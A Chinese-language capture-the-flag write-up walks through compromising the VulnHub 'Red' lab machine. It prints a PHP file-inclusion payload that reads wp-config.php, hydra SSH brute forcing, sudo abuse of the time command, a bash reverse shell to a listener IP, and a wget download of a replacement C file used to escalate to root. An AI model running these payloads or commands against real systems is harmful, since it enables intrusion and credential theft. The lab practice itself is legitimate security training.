靶机下载链接
https://download.vulnhub.com/red/Red.ova
-
打开red虚拟机,使用nmap扫网段后发现没有red虚拟机的ip,然后百度修改了red虚拟机,获得了ip
-
使用nmap扫描网段,发现了red虚拟机的ip和端口
根据开放的80端口获得了网站 -
经过点击网战链接测试,发现存在的网站无法打开,此时我们需要修改hosts文件,将redrocks.win 进行本地解析
-
解析后得出网站,并且网站提示有后门文件
-
开始信息收集,进行目录扫描,用dirb和御剑没扫出来有用的,查看源代码发现可以向这个人寻求帮助,google搜索了下这个人,出现了gihub的一个工具,也是用来收集信息的
-
最后通过工具的使用后发现了存在文件包含的文件
http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd
-
并且发现直接用文件包含去读取原文件无法读取,但是通过伪协议可以读取到内容
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php
经过解码后,获得了文件内容 <?php $file = $_GET['key']; if(isset($file)) { include("$file"); } else { include("NetworkFileManagerPHP.php"); } /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */ ?>
并且里面存在的base64编码经过解码后,又是一个提示
-
提到了账号密码,然后网站用的是wordpress框架,然后就开始找和wordpress账号密码有关的文件,利用文件包含去读取,而wordpress框架的配置文件是wp-config.php
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php
利用同样的方式读取,并且解码后,获得了文件内容,并且找到了用户和密码
用户: john 密码: R3v_m4lwh3r3_k1nG!!
-
之前扫描端口的时候,22端口的ssh服务是开着的,所以我们尝试利用ssh登录试试
发现密码错误
-
接下来就是破解密码了,网上找的方法是先建立pass.txt文件,将之前配置文件那个密码放入,然后利用hashcat对应的base64规则去枚举相关的密码,存入passlist.txt中,格式是类似于之前获得的那个密码的,最好利用hydra进行爆破,获得对应的密码
-
利用密码重新进行ssh登录,登录成功,用户为john
-
并且发现,它会时不时蹦出几句话,并且一段时间后就自动断开连接,需要我们重新利用hydra爆破密码来连接,密码不是固定的
-
重新连接后,使用sudo –l 命令,查看了sudoers文件的相关内容
发现存在ippsec用户无密码执行time命令
首先就考虑到了sudo 滥用的提权
-
在https://gtfobins.github.io/网站上找到了time命令的提权
利用sudo 的命令,注意这里需要加上-u 参数指定用户,不然默认是root
Root需要输入密码才能提权,但是ippsec不需要密码
sudo /usr/bin/time /bin/sh
sudo -u ippsec /usr/bin/time /bin/sh
sudo /usr/bin/time /bin/sh 没有root密码,错误
输入sudo -u ippsec /usr/bin/time /bin/sh,提权成功,从john用户提权到了ippsec用户 -
此时我们发现ippsec用户下面有个txt文件,本俩想用cat查看里面内容,结果发现cat命令和vim命令两个反过来
-
因为一直会断开连接,所以我们弄个反弹shell,自己开一个监听连接
sudo -u ippsec /usr/bin/time /bin/bash
bash -i >& /dev/tcp/192.168.11.131/12345 0>&1
在kali里开启12345端口监听,让ippsec用户去连接,建立会话,这样就不会断开ippsec用户的连接了,可能是因为它会结束jhon用户的进程,但是不会结束ippsec用户的进程
但是经过测试之后还是会断开,比john用户要连接时间长一点
-
在ippsec用户下.我们寻找有ippsec权限的文件
通过命令 find / -group ippsec -type d 2>/dev/null | grep -v proc
找到两个文件夹
-
在/var/www/wordpress/.git目录下,发现了rev文件和supersecretfileuc.c文件
supersecretfileuc.c文件是c语言的文件
rev是可以运行的文件,经过运行后,发现是运行supersecretfileuc.c文件里面的内容
并且是以root用户的身份运行的
-
supersecretfileuc.c文件是只有root用户可以读取和写入,其它用户都是只能读取
但是不包括,其它用户删除这个文件
我们可以删除rev文件和supersecretfileuc.c文件,创建一个新的supersecretfileuc.c文件,里面放提权的c语言代码
需要注意的是rev文件是在运行supersecretfileuc.c文件时自动生成的,以root的身份去运行c语言文件https://www.revshells.com/网站可以自动生成C语言的提权shell
将新创建的c文件反正另一台主机上,通过wget远程下载
wget http://192.168.11.246/supersecretfileuc.c
-
最后我们另开启一个命令行,开启设定的2333端口,等待red虚拟机执行提权shell的连接
成功的进行提权,并且发现root.txt,用与cat互换功能的vim命令查看了文件内容
21. 使用命令corntab –l 查看到了几个定时的执行后面文件的任务,这些也是造成ssh断开的原因